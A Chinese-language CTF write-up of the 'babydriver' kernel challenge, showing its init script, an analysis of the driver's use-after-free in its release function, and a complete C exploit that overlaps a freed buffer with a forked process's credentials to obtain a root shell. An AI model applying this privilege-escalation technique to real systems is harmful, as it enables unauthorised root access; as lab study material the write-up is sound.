boot.sh --> 启动脚本
rootfs.cpio --> 文件系统,可以从init文件中发现
bzImage --> 压缩后的内核文件,可以使用extract_vmlinux+vmlinux_to_elf从中提取出vmlinux内核文件
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/consoleinsmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 shumount /proc
umount /sys
poweroff -d 0 -f
首先使用alloc_chrdev_region函数动态获取了一个驱动号,然后初始化了cdev结构体,在linux中通过cdev结构体来表示一个字符设备,并使用cdev_add函数添加(注册)了字符设备,执行成功后使用_class_create函数创建相应的class,然后通过device_create函数添加设备。这里我一开始理解的时候存在一些疑问,既然在linux中是通过cdev来表示一个字符设备的,那么class存在的意义是什么?后来在查阅资料的过程中了解到linux中存在两种设备系统devfs与sysfs,而class的意义便是创建设备节点,sysfs通过class_create和device_create在设备树中创建相应的设备,应用层udev会自动根据设备树的变化生成相应的设备节点。在2.6版本以前的内核通过cdev_init和cdev_add添加字符设备以后需要手动创建设备节点,而现在则是通过使用_class_create与device_create函数往sysfs中完成设备节点创建的任务。
与init对应的便是exit,这个函数的任务就是将我们刚才所创建的东西全部回收。
通过kmem_cache_alloc_trace函数开辟0x40的空间给babydev_struct的device_buf成员,在这里我们可以注意到babydev_struct是一个全局变量,并且其中存在buf与buf_len两个成员变量。
首先会判断device_buf与device_buf_len,然后通过copy_to_usr函数将length长度的内容从device_buf读入到buffer中
babyioctl
babyrelease
kfree释放buf但是没有置空存在UAF漏洞
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>int main(){
int fd_1 = open("/dev/babydev", 2);
int fd_2 = open("/dev/babydev", 2);ioctl(fd_1, 0x10001, 0xa8);
close(fd_1);int pid = fork();
if (pid < 0) {
puts("[-] fork error.");
exit(0);
}
else if (pid == 0) {
char zero[32] = {0};
write(fd_2, zero, sizeof(zero));
if (getuid() == 0) {
puts("[+] root now.");
system("/bin/sh");
}
}
else {
wait(NULL);
}close(fd_2);
return 0;
}
写好exp以后进行静态编译,将其放到原先解压好的文件系统中,然后重新打包
find . | cpio -o --format=newc > rootfs.cpio
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。